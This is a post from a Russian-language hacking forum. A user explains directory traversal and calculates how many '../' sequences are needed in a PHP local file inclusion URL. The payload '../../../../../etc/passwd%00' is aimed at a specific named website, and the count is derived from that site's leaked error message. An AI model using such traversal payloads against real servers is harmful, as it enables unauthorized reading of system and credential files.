Показать сообщение отдельно

  #8  
Старый 08.01.2012, 23:54
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

Цитата:
Сообщение от Skipp  
Вот из темы PHP иньекций я взял пример
Код:
http://bombaticket.ru/pg.php?p=../../../../../etc/passwd%00
Скажите пожалуйста, как узнать сколько подставлять
../
? Это путь до файла на сколько я понял, но где это смотреть, в самой ошибке? Вот ошибка
Код:
Warning: include(htm/fgh.htm) [function.include]: failed to open stream: No such file or directory in /home/www/z74500/bombaticket.ru/pg.php on line 97
Объясните пож-та на данном примере что именно
../../../../../etc/passwd%00
надо подставлять.
../ = директорыя выше

./ = данная директория

дир = /papka1/papka2/papka3/

чтобы выйти за пределы этих папок, надо подставить 3 пары

../../../

в твоем примере

папка = /home/www/z74500/bombaticket.ru/

то есть надо подставь 4 пары (../../../../) чтобы смогли подключить файлы начиная с корневой директории
 
Ответить с цитированием